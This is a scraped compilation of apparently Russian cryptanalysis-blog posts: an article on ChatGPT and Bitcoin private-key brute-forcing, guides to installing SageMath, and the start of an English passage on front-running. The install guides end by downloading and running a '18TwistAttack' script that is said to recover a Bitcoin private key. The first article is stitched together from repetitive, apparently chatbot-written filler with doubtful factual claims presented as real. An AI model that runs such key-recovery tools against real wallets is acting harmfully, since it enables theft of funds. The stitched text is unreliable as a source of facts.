интернет-хакер должен попытаться взломать файлы кошелька, попытаться угадать действительные исходные фразы BIP39 и сгенерировать правильные парольные фразы. Удачи вам в этом — у вас больше шансов найти разумную инопланетную жизнь на далекой планете или выкопать конкретную песчинку в пустыне. Возьмем самый очевидный пример: монеты Сатоши Накамото . Легендарный миллион, описанный Серхио Демианом Лернером в его исследовательском проекте Patoshi, является высшей наградой. Нет никаких доказательств того, что эта теория о том, чем может владеть Сатоши, верна — это просто анализ, который предполагает, что Сатоши постоянно майнил. Но полученные монеты, кому бы они ни принадлежали, находятся на виду и не перемещались с 2009 года. Все знают об их существовании и могут отследить их в публичном реестре. Однако никто не может взломать закрытые ключи, чтобы заявить о своих правах на них. Чтобы представить все в цифрах, Биткоин имеет общее количество 2 256 возможных закрытых ключей и только 2 160 комбинаций адресов, которые могут существовать (при условии, что все они 160-битные). Тем не менее, перебор должен начинаться с существующего и действительного открытого ключа. Что само по себе требует дополнительных усилий. Будущее криптовалют сложно предсказать, поскольку технология и рынок все еще относительно новы и постоянно развиваются. Однако многие эксперты считают, что криптовалюты могут получить более широкое распространение и интегрироваться в основные финансовые системы. Некоторые из ключевых факторов, которые, вероятно, будут определять будущее криптовалют, включают разработку более удобных и безопасных технологий, принятие криптовалюты большим количеством предприятий и учреждений, а также регулирование рынка правительствами и другими организациями. Дефляционная, частная и программируемая в сфере искусственного интеллекта Как правильно заметил чат-бот, у биткоина ограниченная эмиссия в 21 миллион BTC, что делает его дефляционной валютой, снижая риск его инфляции, которая, как правило, «со временем подрывает покупательную способность традиционных валют». Шестой аргумент в пользу биткоина, приведенный GPT-4, – это большая степень конфиденциальности при переводе активов по сравнению с традиционными транзакциями, благодаря тому что при криптовалютных переводах используется только публичный адрес, а не конфиденциальная личная информация. На седьмом месте – ценность биткоина как инвестиции и метода диверсификации финансового портфеля, поскольку крупнейший по рыночной капитализации актив децентрализованных финансов (DeFi) продемонстрировал «потенциал значительного роста стоимости с течением времени». И последнее, но не менее важное, это тот факт, что: Будущее здесь и прогнозы ChatGPT относительно тенденций рынка Биткоинов и криптовалют Следует отметить, что для получения этих результатов Гроган использовал джейлбрейк для GPT , который он назвал JamesGPT (Just Accurate Markets Estimation System), который позволяет делать прогнозы на будущее по любой теме. Однако в то же время он задается вопросом, действительно ли такой инструмент полезен для исследователей, особенно для выявления предубеждений. На самом деле, насколько известно, такие предсказания вообще нельзя считать достоверными. Непонятно даже, как ChatGPT их формулирует. Что известно, так это то, что JamesGPT побуждает GPT «взвешивать» свои убеждения по различным темам, хотя предоставляемые результаты могут быть не однозначными и могут немного меняться в зависимости от изменений на рынках. Гроган говорит, что он задавал GPT4 один и тот же вопрос 100 раз и получил ответы, которые на самом деле вполне согласуются со стандартным отклонением менее 10 процентов. Однако остается интересным тот факт, что ChatGPT, вероятно, извлекает эти данные из Интернета или, по крайней мере, из источников, которые он считает надежными. Так что его прогнозы можно, по крайней мере, рассматривать как своего рода «консенсусное среднее» источников, которые он считает авторитетными. Самые важные риски и развитие искусственного интеллекта Есть несколько рисков, связанных с Биткоинами, которые могут повлиять на его ценность и принятие. Вот некоторые из наиболее значительных: Регулирование: правительства и финансовые органы по всему миру все еще выясняют, как регулировать Биткоин и другие криптовалюты. Слишком строгие или враждебные по отношению к Биткоину правила могут привести к снижению его принятия и использования, а слишком мягкие правила могут привести к росту мошенничества и мошенничества. Безопасность: Биткоин основан на децентрализованной системе, которая опирается на сложные алгоритмы и криптографию для обеспечения безопасности. Однако система не безотказна и были случаи взлома и кражи бирж и кошельков. Волатильность: цена Биткоина была очень волатильной, с большими колебаниями вверх и вниз в течение коротких периодов времени. Это делает его рискованным вложением для некоторых и может затруднить его использование в качестве надежного средства обмена. Принятие: несмотря на то, что за последнее десятилетие Биткоин значительно вырос, он по-прежнему сталкивается с проблемами, связанными с более широким использованием и признанием. Многие продавцы по-прежнему не принимают Биткоин в качестве формы оплаты, и все еще существуют значительные барьеры для людей, которые хотят покупать и использовать Биткоин. Конкуренция: Биткоин — не единственная криптовалюта на рынке. Существуют тысячи других криптовалют с различными функциями и вариантами использования, которые могут бросить вызов доминированию Биткоина. Может ли GhatGPT ускорить в поиске приватного ключа для потерянных Биткоин Кошельков от Сатоши Накомото. Поиски приватного ключа для потерянных Биткоин Кошельков от Сатоши Накомото на миллиарды долларов США не дают покоя и посей день, способ перебора кошельков заключается в попытке найти один из 296 закрытых ключей, которые сталкиваются с одним и тем же адресом. Количество возможных вариантов составляет 79 228 162 514 264 337 593 543 950 335 — примерно в 79 228 раз больше, чем предполагаемое количество звезд во Вселенной. С другой стороны, если вы хотите взломать конкретный кошелек (например, кошелек Сатоши), вы должны иметь дело со всеми 2 256 комбинациями закрытых ключей. Предполагая, что вы обладаете вычислительной мощностью, позволяющей пробовать 1000 триллионов ключей в секунду, перебор любого ключа займет у вас время, равное 2,7 × 10 44 × возрасту Вселенной (как указано выше) .разработчиком Raghav Sood на Bitcoin StackExchange). Это число превышает все, что может быть измерено человеком, включая количество атомов, окружающих наблюдаемый нами мир. Что касается сид-фраз BIP39, то здесь 2048 слов и 12/24 их комбинаций. Для удобства предположим, что это базовая установка из 12 слов. Чтобы угадать случайное, у вас есть 2048 12 (или 2 132 ) возможностей. По словам модератора Reddit BashCo, это число равно 1 из 115 кваттюорвигинтиллион 792 тревигинтиллион 89 дуовигинтиллион 237 унвигинтиллион 316 вигинтиллион 195 новемдециллион 423 октодециллион 570 септендециллион 985 сексдециллион 8 квиндециллион 687 кваттюордециллион 907 тредециллион 853 дуодециллион 269 ундециллион 984 дециллион 665 нониллион 640 октиллион 564 септиллион 39 секстиллион 457 квинтиллион 584 квадриллион 7 триллионов 913 миллиардов 129 миллионов 639 тысяч 936. Если вы уверены, что одно из 2048 слов должно быть первым, то ваши шансы превращаются в 2048 11 , потому что в BIP39 слова могут повторяться в одной и той же настройке. И если у вас есть первые 10 слов в правильном порядке, а вам нужны только 11-е и 12-е, у вас есть только 2048 2 возможностей, что уже сегодня делает его перебором с помощью обычного компьютерного процессора. Так что позаботьтесь о своей исходной фразе и, если вам удобно, добавьте поверх нее парольную фразу из-за пределов словаря BIP39. Это значительно повысит вашу безопасность, но может стать проблемой только в том случае, если вы забудете или потеряете парольную фразу. Но в целом, как отметили Питер Тодд и один из создателей BIP39 Павол «Стик» Руснак, это очень непрактично и сродни утверждению, что на футбольном поле можно припарковать 500 автомобилей. Предложение Питера состояло в том, чтобы полностью удалить его, так как эффективный способ атаки на начальные фразы BIP39 — это перебор сгенерированного закрытого ключа. Существует множество различных приложений для криптовалют и лежащей в их основе технологии блокчейна. Некоторые из наиболее распространенных применений включают в себя: Цифровые валюты: наиболее известное использование криптовалюты — это цифровая валюта, которую можно использовать для совершения покупок или передачи стоимости между отдельными лицами. Самая известная криптовалюта — Биткоин, но есть и многие другие, такие как Ethereum и Litecoin, которые также используются для этой цели. Смарт-контракты. Технология блокчейн может использоваться для создания «умных контрактов», которые автоматически выполняют условия соглашения между двумя сторонами. Например, смарт-контракт можно использовать для автоматической передачи права собственности на часть собственности от одного человека к другому при соблюдении определенных условий. Отслеживание цепочки поставок: технологию блокчейн можно использовать для отслеживания движения товаров по цепочке поставок, обеспечивая прозрачность и подотчетность. Например, пищевая компания может использовать блокчейн для отслеживания происхождения и перемещения ингредиентов, что позволит им гарантировать качество и безопасность своей продукции. Управление идентификацией: технологию блокчейн можно использовать для создания безопасных децентрализованных систем для хранения и проверки личной идентификационной информации. Это можно использовать для создания более безопасных и эффективных систем для голосования, социальных сетей и других приложений. Это всего лишь несколько примеров множества возможных применений криптовалют и лежащей в их основе технологии блокчейна. Поскольку технология продолжает развиваться, вероятно, будут разработаны новые и инновационные способы ее использования. Прогнозы ChatGPT по цене Биткоинов На самом деле, чтобы правильно интерпретировать ответ ChatGPT относительно взрыва Биткоина в следующие 12 лет, нужно учитывать не столько то, что он предсказывает 15-процентную вероятность этого, сколько то, что он на самом деле считает это невозможным на 85 процентов. Вот почему, по словам Грогана, GPT является большим поклонником Биткоинов. Надо сказать, что такая низкая оценочная вероятность провала Биткоина в среднесрочной/долгосрочной перспективе довольно распространена, особенно среди Биткоинеров, хотя для максималистов она, вероятно, даже ниже, если не близка к нулю. Таким образом, ChatGPT не является Биткоин-максималистом, но, похоже, имеет те же «идеи», что и Биткоинеры. В свете приведенных выше соображений относительно метода, с помощью которого ChatGPT делает эти прогнозы, кажется, есть два объяснения этой линии рассуждений. Либо ChatGPT включает в себя в первую очередь Биткоинеров среди источников, считающихся авторитетными в отношении Биткоинов, либо, действительно, к настоящему времени даже в мире основных финансов гипотеза о реальном взрыве Биткоинов считается маргинальной. Дело в том, что другие подобные инициативы дали аналогичные результаты, т. е. в настоящее время среди экспертов широко распространено мнение о том, что Биткоин вряд ли рухнет в течение десятилетия или около того. Следовательно, широко распространенный консенсус, вероятно, заключается именно в довольно низкой вероятности имплозии, хотя ни в коем случае не несуществующей. Квантовые вычисления + ChatGPT для поиска приватного ключа для потерянных Биткоин Кошельков от Сатоши Накомото. Да, квантовые вычисления могут стать угрозой в будущем. Но это будущее очень далеко: по состоянию на март 2023 года самым мощным квантовым компьютером в мире является IBM Osprey — машина, которая рекламирует 433 физических кубита. Как указано в исследовательской статье 2022 года, опубликованной в журнале AVS Quantum Science, для компьютера, который стремится взломать криптографию с открытым ключом на основе эллиптической кривой Биткоина в течение 24 часов, требуется 13 × 10 6 кубитов. Другими словами, квантовые компьютеры должны стать в тысячи раз более мощными, чтобы взломать Биткоин. Пока технологический скачок в квантовых вычислениях немного превышает закон Мура. В целях прогнозирования давайте воспользуемся этой моделью, предположив, что закономерность сохраняется и количество кубитов продолжает удваиваться каждые 2 года. Чтобы перейти с 433 на 13 × 10 6 , квантовые компьютеры должны стать в 30023 раза мощнее. Это по крайней мере еще 20 лет, прежде чем мы должны серьезно начать беспокоиться. Потребовалось 24 года исследований и разработок, чтобы перейти от 2 кубитов к 433 кубитам. Как скоро мы достигнем 10000 кубитов? Наверное, еще несколько десятков лет. При 10000 кубитах и некоторых очень специфических физических условиях (время цикла кода 1 мкс , время реакции 10 мкс и физическая ошибка вентиля 10^−3) квантовый компьютер сможет украсть монеты из произвольный Биткоин-кошелек за 10 дней. Однако к тому времени криптография также значительно улучшится, и Биткоин может перейти к лучшей модели, которая делает грубую силу настолько сложной, что квантовым компьютерам потребуется гораздо больше времени, чтобы наверстать упущенное. Для перехода на квантово-устойчивые ключи требуется только программный форк, который может быть активирован большинством узлов или майнеров. Так что вся эта дискуссия может оказаться просто бумажным тигром или недостойным FUD. Теперь, когда мы избавились от этих двух очень сложных и чрезвычайно дорогих атак, пришло время сосредоточиться на наиболее вероятных из них: социальных атаках. В Биткоинах мы любим говорить «не доверяй, проверяй». Однако создание систем доверия, которые устраняют сомнения в потенциальной злонамеренности разработчиков, является одним из очень серьезных векторов атаки. Финансовые услуги в ChatGPT как виртуальный ассистент. вот еще несколько конкретных примеров того, как криптовалюты и лежащие в их основе технологии блокчейна используются в реальном мире: Финансовые услуги. Многие финансовые учреждения изучают возможности использования криптовалют и технологии блокчейн для повышения эффективности и безопасности своих услуг. Например, Банк Канады экспериментирует с основанной на блокчейне системой межбанковских расчетов, а Народный банк Китая разрабатывает собственную цифровую валюту. Розничные платежи: несколько розничных продавцов, в том числе Starbucks и Whole Foods, теперь принимают Биткоины и другие криптовалюты в качестве оплаты за товары и услуги. Это позволяет клиентам использовать свои цифровые валюты так же, как наличные деньги или кредитную карту. Благотворительность и филантропия. Криптовалюты и технология блокчейна используются благотворительными и некоммерческими организациями для повышения прозрачности и эффективности их усилий по сбору средств. Например, Всемирная продовольственная программа ООН использовала технологию блокчейн для оказания продовольственной помощи сирийским беженцам. Государственные услуги: некоторые правительства изучают использование технологии блокчейн для различных приложений государственного сектора, включая регистрацию земли, голосование и управление идентификацией. Например, город Москва использует систему на основе блокчейна для отслеживания прав собственности и предотвращения мошенничества. Это всего лишь несколько примеров того, как криптовалюты и лежащие в их основе технологии блокчейна используются в реальном мире. Поскольку технология продолжает развиваться, вполне вероятно, что будет разрабатываться все больше и больше приложений. Для Биткоина это будет означать цену ниже 0,3 доллара, уровень, который был пересечен в 2010 году, в первый год торгов на биржах, и с тех пор ни разу не был затронут. Другими словами, это будет означать возвращение к своей первоначальной неуместности. Для Ethereum это будет означать падение до 0,018 доллара, уровня, на котором он никогда не был, и который будет намного ниже, чем даже 0,4 доллара в 2015 году. Таким образом, хотя, похоже, нет единого мнения о возможном крахе Биткоина в течение следующих десяти лет, и не намного больше об эфириуме, что касается альткойнов, аргумент другой. Однако следует подчеркнуть, что на самом деле нет уверенности в том, что прогнозы ChatGPT действительно отражают истинный консенсус аналитиков, считающихся авторитетными, и, кроме того, эти прогнозы могут легко меняться со временем. Однако один из способов попытаться понять, насколько они надежны, — это попросить его предсказать движение цен в краткосрочной или, что еще лучше, в среднесрочной перспективе, чтобы через несколько месяцев или, самое большее, несколько лет , тогда мы сможем увидеть, насколько надежными на самом деле окажутся его предсказания. ChatGPT в ближайшее будущее изменит процесс программирование и CODING Как мы писали ранее для поиска приватного ключа для потерянных Биткоин Кошельков от Сатоши Накомото программисты всего мира изобретают велосипед, эта гонка изменит привычное программирование. ChatGPT как реактивный самолет в ближайшее будущее изменит все стандарты в программирование. Самый простой способ смягчить любой вид атаки — оставаться консервативным в отношении кода: не обновляться до последней версии, если вы заранее не проверите ее или не заплатите кому-то другому, чтобы он сделал это за вас. И если вы не делаете ни того, ни другого, по крайней мере, убедитесь, что достаточное количество людей с враждебными стимулами проверили новый код. Когда ставки настолько высоки, что глобальная финансовая система находится под угрозой, можно с уверенностью предположить, что разработчики находятся под большим давлением и могут совершать ошибки или быть скомпрометированы. Однако это не аргумент в пользу окостенения: Биткоин как проект еще не завершен, и доработки все еще необходимы. От повышения конфиденциальности до уменьшения размера транзакций и обеспечения защиты от атак квантовых вычислений — еще многое предстоит сделать. Мой аргумент против безрассудства с непроверенной технологией, последствия которой не совсем понятны, но не против инноваций. Тем не менее, стремясь к инновациям, мы не должны отказываться от проверки в пользу срочности. Как сообщество, мы должны поощрять разработчиков Биткоинов к подготовке вариантов до того, как угроза станет неизбежной: модели для квантово-устойчивой криптографии на основе эллиптических кривых, масштабируемая конфиденциальность и так далее. Некоторые из этих решений уже тестируются с помощью рыночных стимулов в других сетях — важнее всего то, что разработчики Биткоинов обращают внимание на законные технологические усовершенствования, совершенствуют то, что уже есть, и выдвигают предложения, которые все должны обсудить. Кроме того, мы никогда не должны пренебрегать нашими ролями независимых операторов узлов и майнеров — именно мы выбираем, какой код запускать, а Биткоин-клиенты могут работать с некоторыми минималистичными спецификациями. Не все, что было добавлено в Core, необходимо, И последнее, но не менее важное: мы должны поговорить о безопасности каждого отдельного пользователя Биткоин. Это, скорее всего, основной тип FUD, который выразил ChatGPT, когда он упомянул хакеров и злоумышленников. Что-либо между кейлоггерами, которые регистрируют и транслируют ввод с клавиатуры вашего компьютера (который может содержать ваши кодовые фразы Bitcoin Core или сид-фразу BIP39) до мошеннических действий по сходству и физических атак, становится все более вероятным по мере роста цены BTC. Да, есть много других интересных приложений для криптовалют и технологии блокчейна, помимо индустрии цифровой рекламы. Вот некоторые другие примеры использования этой технологии: Управление цепочками поставок. Технология блокчейн используется компаниями для повышения прозрачности и эффективности операций в цепочках поставок. Например, Walmart использует систему на основе блокчейна для отслеживания движения свинины в Китае, а Maersk использует аналогичную систему для отслеживания движения транспортных контейнеров. Управление идентификацией: технология Blockchain используется для создания децентрализованных систем для хранения и проверки личной идентификационной информации. Например, правительство Эстонии использует систему на основе блокчейна для управления медицинскими картами своих граждан. Торговля энергией: технология блокчейн используется для создания более эффективных и прозрачных систем торговли энергией. Например, стартап LO3 Energy использует платформу на основе блокчейна, чтобы жители Бруклина, штат Нью-Йорк, могли покупать и продавать возобновляемую энергию друг у друга. Голосование: технология блокчейн изучается как способ повысить безопасность и прозрачность систем голосования. Например, в 2018 году канцелярия госсекретаря Западной Вирджинии провела пилотную программу, в которой использовалась система на основе блокчейна для голосования на первичных выборах в штате. Это всего лишь несколько примеров из множества возможных применений криптовалют и технологии блокчейн. Поскольку технологии продолжают развиваться, вполне вероятно, что будут разрабатываться все более и более инновационные способы их использования. Плохая новость заключается в том, что ни один разработчик, изменение протокола, правительственная или неправительственная организация не могут защитить вас от ошибок. Хорошей новостью является то, что есть некоторые общие рекомендации, которым вы можете следовать, чтобы повысить свою безопасность. Они включают: – использование выделенного устройства для подписи и трансляции Биткоин-транзакций (ноутбук или телефон с Linux, на котором во время использования запущено программное обеспечение полного узла Биткоин, аппаратные кошельки BIP39 с надежными парольными фразами); – создание сетапов, исключающих единые точки отказа (multisig и резервные копии SLIP39 Shamir); — использование холодного хранения ( металлические пластины , бумажные кошельки, физические Биткоины); – защитить себя за счет хорошей операционной безопасности и конфиденциальности (не раскрывайте случайным незнакомцам, где вы живете, какова ваша настройка Биткоинов и сколько у вас денег – это также включает в себя жизнь в материальном плане нормальной жизнью для вашего района/сообщества без показухи ). Помните: раскрывайте как можно меньше информации о своей Биткоин-активности или, по крайней мере, вводите своих шпионов в заблуждение, чтобы у них было искаженное представление о том, чем вы на самом деле занимаетесь и насколько вы богаты. Биткоин — это валюта, обеспечивающая абсолютную собственность. Это означает, что после того, как транзакция была передана и подтверждена в блоке, она стала необратимой. Таким образом, каждый пользователь несет ответственность за защиту своего богатства в меру своих знаний и возможностей в соответствии с моделью реальной угрозы. Прежде чем создавать какие-либо настройки, вы должны спросить себя: «Кто является самым опасным противником, который, вероятно, попытается украсть мои монеты?». Если вы делитесь компьютером с другими людьми, вам не следует оставлять незашифрованные файлы кошелька. Если вы путешествуете, то не стоит носить с собой устройства, которые показывают, что вы носите Биткоины (обычно аппаратный кошелек легче распознать и он вызывает больше подозрений, чем ноутбук или лист бумаги). Если у вас есть дети или любопытный супруг, который может вмешиваться в ваши картотечные шкафы и ящики, то лучше не держать резервную копию в пределах досягаемости. Если вы живете в плохом районе с высоким уровнем преступности, вам, вероятно, следует избегать хранения резервных копий Биткоинов в вашем доме. А если вашему району угрожают наводнения, пожары, извержения вулканов или землетрясения, Однако наиболее распространенной угрозой являются интернет-хакеры. Вы можете найти этих преступников в виде лиц, которые незаконно пытаются взломать ваш компьютер, а также бизнесменов в костюмах, которые разрабатывают системы, которые по сути крадут ваши монеты в рамках закона. Из первой категории вы можете выделить людей, которые кодируют вредоносное ПО или подружатся с вами, чтобы позже попросить денег (будь то нигерийский принц или модель OnlyFans, которая отчаянно нуждается в помощи). Вторая категория состоит из бирж и банков, которые обещают хранить ваши монеты в безопасной среде, но ограничивают вас от вывода, когда их бизнес-модель находится под угрозой. Вы должны избегать обоих этих хакеров любой ценой, так как они, скорее всего, украдут ваш Биткоин. Конечно, вот несколько конкретных примеров того, как криптовалюты и технология блокчейна используются в реальных приложениях: Управление цепочкой поставок: IBM использует основанную на блокчейне систему под названием TrustChain для отслеживания движения алмазов от рудников до розничных продавцов. Система позволяет каждому участнику цепочки поставок проверять подлинность бриллиантов и обеспечивать их бесконфликтность. Управление идентификацией: правительство Гондураса использует систему на основе блокчейна для управления правами на землю своих граждан. Система позволяет землевладельцам безопасно регистрировать и передавать право собственности на свою собственность, снижая риск мошенничества и коррупции. Торговля энергией: стартап LO3 Energy использует основанную на блокчейне платформу TransActive Grid, чтобы позволить жителям Бруклина, штат Нью-Йорк, покупать и продавать возобновляемую энергию друг у друга. Платформа позволяет пользователям покупать и продавать энергию с помощью криптовалюты Exergy, создавая более эффективный и устойчивый энергетический рынок. Голосование: в 2018 году канцелярия госсекретаря Западной Вирджинии провела пилотную программу, в которой для голосования на первичных выборах в штате использовалась основанная на блокчейне система под названием Voatz. Система позволяла военнослужащим и другим избирателям, находящимся за границей, безопасно голосовать с помощью своих смартфонов. Это всего лишь несколько конкретных примеров того, как криптовалюты и технология блокчейн используются в реальном мире. Есть много других подобных приложений, и по мере того, как технология продолжает развиваться, вполне вероятно, что будут разрабатываться все более и более инновационные способы ее использования. Криптоиндустрия предполагает, что криптотехнологии могут быть использованы для целей интеллектуальной собственности, таких как эволюция системы патентования изобретений. Криптовалюты и технология блокчейн могут революционизировать способы управления и защиты интеллектуальной собственности. Одним из ключевых преимуществ этой технологии является возможность создания безопасных децентрализованных систем хранения и проверки информации. Это можно использовать для создания более эффективных и прозрачных систем защиты интеллектуальной собственности, такой как патенты, авторские права и товарные знаки. Например, технологию блокчейн можно использовать для создания защищенной и децентрализованной базы данных патентов, позволяющей изобретателям легко регистрировать и защищать свои изобретения. Блокчейн можно использовать для хранения сведений о каждом патенте, включая имя изобретателя, дату изобретения и описание изобретения. Эта информация может быть проверена и проверена с использованием криптографических методов, что гарантирует ее подлинность и целостность. Помимо создания более эффективных и прозрачных систем защиты интеллектуальной собственности, технология блокчейн может также использоваться для защиты прав интеллектуальной собственности. Например, смарт-контракты можно использовать для автоматического обеспечения соблюдения лицензионных соглашений, гарантируя, что изобретатели и создатели получат надлежащее вознаграждение за свою работу. В целом, использование криптовалют и технологии блокчейн может значительно улучшить способы управления и защиты интеллектуальной собственности. Поскольку технология продолжает развиваться, вполне вероятно, что будет разрабатываться все больше и больше приложений для этой технологии в сфере интеллектуальной собственности. Хотя размещение ваших монет на каком-либо банковском счете удобно, такой тип действий противоречит цели проекта Биткоин и значительно уменьшает ваш собственный финансовый суверенитет. Доверенные третьи стороны — это дыры в безопасности, и вы никогда не должны доверять человеку или компании, которые обещают удерживать ваши BTC в обмен на безопасность и/или доход. Конечно, существуют и другие типы социальных атак: поддельные электронные письма при обмене с просьбой подтвердить сид-фразу в ответе, звонящие, выдающие себя за службу кошелька, которая просит вас подтвердить ваши данные (иногда даже домашний адрес). перехвачены и скомпрометированы с помощью вставки сид-фразы BIP39 (злоумышленники оставляют в коробке свою сид-фразу, надеясь, что пользователи-новички отправят туда свои монеты), атак с ключом за 5 долларов и имитаторов, которые выдают себя за друзей или членов семьи, которым срочно нужны деньги доставка. Это те, которые становятся более распространенными по мере роста цены и распространения. Вот почему вам нужно знать о них и защищать себя, сводя к минимуму объем данных, которые вы предоставляете об услугах, которые вы используете, о месте, где вы живете, и о количестве Биткоинов, которые у вас есть. Возвращаясь к аргументу ChatGPT, было бы неискренним предполагать, что мошенники представляют серьезную угрозу для Биткоина. Сеть будет существовать и продолжать функционировать вопреки ворам. Конечно, многие люди могут бояться и отталкиваться от мысли об ответственности. Но мы не должны забывать, что решения для самообслуживания также со временем становятся более безопасными и удобными для пользователя. Слои Биткоина также становятся более развитыми, и открываются новые способы использования и хранения ваших денег. Например, проект Fedimint планирует создать общественные банки, в которых пользователи смогут разблокировать свои средства только с помощью селфи. Самое главное — создать культуру справедливости, подотчетности, передовой практики и правды. Возможно, криптотехнологии используются для отслеживания научных исследований? Или может есть такое приложение? Да, криптовалюты и технология блокчейн изучаются как потенциальные инструменты для отслеживания и управления научными исследованиями. Одной из ключевых проблем в научном сообществе является необходимость обеспечения целостности и прозрачности данных исследований. Технология блокчейн с ее способностью создавать безопасные и децентрализованные базы данных может решить эту проблему. Например, систему на основе блокчейна можно использовать для отслеживания хода научного исследования, от первоначального исследовательского предложения до окончательной публикации результатов. Блокчейн можно использовать для хранения деталей исследования, включая вопросы исследования, гипотезы, методы, результаты и выводы. Эта информация может быть подтверждена и проверена с использованием криптографических методов, обеспечивающих ее подлинность и целостность. Помимо отслеживания хода научных исследований, технологию блокчейн можно также использовать для управления процессом рецензирования. Блокчейн можно использовать для хранения обзоров и комментариев других ученых, что позволит исследователям легко просматривать и учитывать отзывы в своей работе. Это могло бы помочь улучшить качество и прозрачность процесса рецензирования. В целом, использование криптовалют и технологии блокчейн в сфере научных исследований может значительно повысить целостность и прозрачность исследовательского процесса. Поскольку технология продолжает развиваться, вполне вероятно, что будет разрабатываться все больше и больше приложений для этой технологии в области науки, и их приложениях: Криптовалюты — это цифровые активы, которые используют криптографию для защиты и проверки транзакций. Самая известная криптовалюта — Биткоин, но есть и много других, таких как Ethereum и Litecoin. Технология Blockchain — это базовая технология, которая поддерживает криптовалюты. Это децентрализованная, безопасная и прозрачная база данных, которая позволяет пользователям хранить и проверять информацию без необходимости в центральном органе. Одним из ключевых применений криптовалют и технологии блокчейн является цифровая рекламная индустрия. Такие проекты, как Basic Attention Token (BAT) и AdChain, используют эту технологию для создания более эффективных и прозрачных систем покупки и продажи рекламы. Криптовалюты и технология блокчейна также используются во множестве других приложений, включая управление цепочками поставок, управление идентификацией, торговлю энергией и голосование. В будущем криптовалюты и технология блокчейн, вероятно, получат более широкое распространение и будут интегрированы в основные финансовые и другие системы. Ключевые факторы, которые будут определять будущее этой технологии, включают разработку более удобных и безопасных технологий, принятие криптовалюты большим количеством предприятий и учреждений, а также регулирование рынка правительствами и другими организациями. В целом очевидно, что криптовалюты и технология блокчейн получают все большее признание и признание на правительственном уровне. Поскольку технология продолжает развиваться, вполне вероятно, что все больше и больше правительств будут изучать способы использования этой технологии для улучшения своей экономики и предоставления более качественных услуг своим гражданам. Любые подобные приложения в США или Европе? Да, в США и Европе есть несколько правительств, которые изучают возможности использования криптовалют и технологии блокчейн. Например, в Соединенных Штатах штат Огайо объявил о планах принять Биткоин в качестве формы оплаты налогов и других государственных сборов. В Европе правительство Эстонии использует систему на основе блокчейна для управления медицинскими записями своих граждан, а правительство Швейцарии работает над системой голосования на основе блокчейна. Помимо государственных приложений, в США и Европе также есть много компаний частного сектора, которые изучают возможности использования криптовалют и технологии блокчейн. Например, JPMorgan Chase, крупнейший банк США, разработал собственную криптовалюту под названием JPM Coin, которая используется для облегчения транзакций между его клиентами. В Европе энергетическая компания EON использует платформу на основе блокчейна, чтобы позволить своим клиентам покупать и продавать возобновляемую энергию друг у друга. В целом очевидно, что использование криптовалют и технологии блокчейн получает все большее признание и признание в Соединенных Штатах и Европе. Поскольку технология продолжает развиваться, вполне вероятно, что все больше и больше правительств и предприятий в этих регионах будут изучать способы использования этой технологии для улучшения своей деятельности и предоставления более качественных услуг своим клиентам. Заключение: Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/WZZv58aJ95E Источник: https://cryptodeep.ru/chatgpt-bitcoin Криптоанализ
  20. CRYPTO DEEP TECH В этой статье мы сделаем новую установку SageMath в Google Colab. Ранее мы опубликовали статью: “Install SageMath for cryptanalysis on Fedora 64bit(10GB) Cloud Virtual Server” , но для продолжение криптоанализа блокчейна Биткоин многие наши читатели предпочитают использовать Debian и Ubuntu в отличие от Fedora. Как нам известно Google Colab обновился до версии "Ubuntu 20.04.5 LTS". !cat /etc/lsb-release Поэтому версии "Ubuntu 20.04.5 LTS", нам позволяет установит только SageMath version 9.0, Release Date: 2020-01-01 Используя стандартную команду установки: !sudo apt-get install -y sagemath-common Для полного проведения криптоанализа мы установим в Google Colab совершенно новую версию SageMath version 9.3 Файл: Install_SageMath_in_Google_Colab.ipynb мы опубликовали в GitHub Перейдем на официальный сайт: https://colab.research.google.com Теперь через утилиту wget скачаем tar-file: sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ !python3 relocate-once.py Все готово! !./sage -sh sage -v Все верно! Мы получили новую версию: SageMath version 9.3, Release Date: 2021-05-09 wget https://raw.githubusercontent.com/demining/CryptoDeepTools/bbd83042e7405508cd2e646ad1b0819da0f9c58d/18TwistAttack/discrete.py Теперь чтобы получить приватный ключ нам осталось запустить команду: python3 discrete.py Sage Math 9.3 выполним задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms) Теперь все работает должный образом! Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/DBu0UnVe0ig Источник: https://cryptodeep.ru/install-sagemath-in-google-colab Криптоанализ
  21. В этой статье мы подробно на слайдах покажем как установить «SageMath» на облачный виртуальный сервер Fedora 30 64bit(10GB) для примера мы будем использовать сервера «DIGITAL RUBLE TECH». Ранее мы использовали для установки «SageMath» облачный сервис Google Colab, но к сожалению из-за последних обновлении не все компоненты для проведение криптоанализа блокчейна Биткоина работают должным образом. Регистрация: cat /etc/redhat-release dnf check-update dnf install python3 dnf install sagemath sage -v git clone https://github.com/demining/CryptoDeepTools.git cd CryptoDeepTools/18TwistAttack/ ls Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py Команда запуска: sage -python3 discrete.py Sage Math выполнил задачу дискретного логарифмирование (Pollard's rho algorithm for logarithms) Теперь все работает должный образом! Исходный код DIGITAL RUBLE TECH Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/xHnTDRgZwvE Источник: https://cryptodeep.ru/install-sagemath-on-fedora Криптоанализ
  22. Front-Running AKA Transaction-Ordering Dependence The University of Concordia considers front-running to be, “a course of action where an entity benefits from prior access to privileged market information about upcoming transactions and trades.” This knowledge of future events in a market can lead to exploitation. For example, knowing that a very large purchase of a specific token is going to occur, a bad actor can purchase that token in advance, and sell the token for a profit when the oversized buy order increases the price. Front-running attacks have long been an issue in financial markets, and due to blockchain’s transparent nature, the problem is coming up again in cryptocurrency markets. Since the solution to this problem varies on a per contract basis, it can be hard to protect against. Possible solutions include batching transactions and using a pre-commit scheme, i.e. allow users to submit details at a later time. PDF: SoK: Transparent Dishonesty: Front-Running Attacks on Blockchain Frontrunning Since all transactions are visible in the mempool for a short while before being executed, observers of the network can see and react to an action before it is included in a block. An example of how this can be exploited is with a decentralized exchange where a buy order transaction can be seen, and second order can be broadcast and executed before the first transaction is included. Protecting against this is difficult, as it would come down to the specific contract itself. Front-running, coined originally for traditional financial markets, is the race to order the chaos to the winner’s benefit. In financial markets, the flow of information gave birth to intermediaries that could simply profit by being the first to 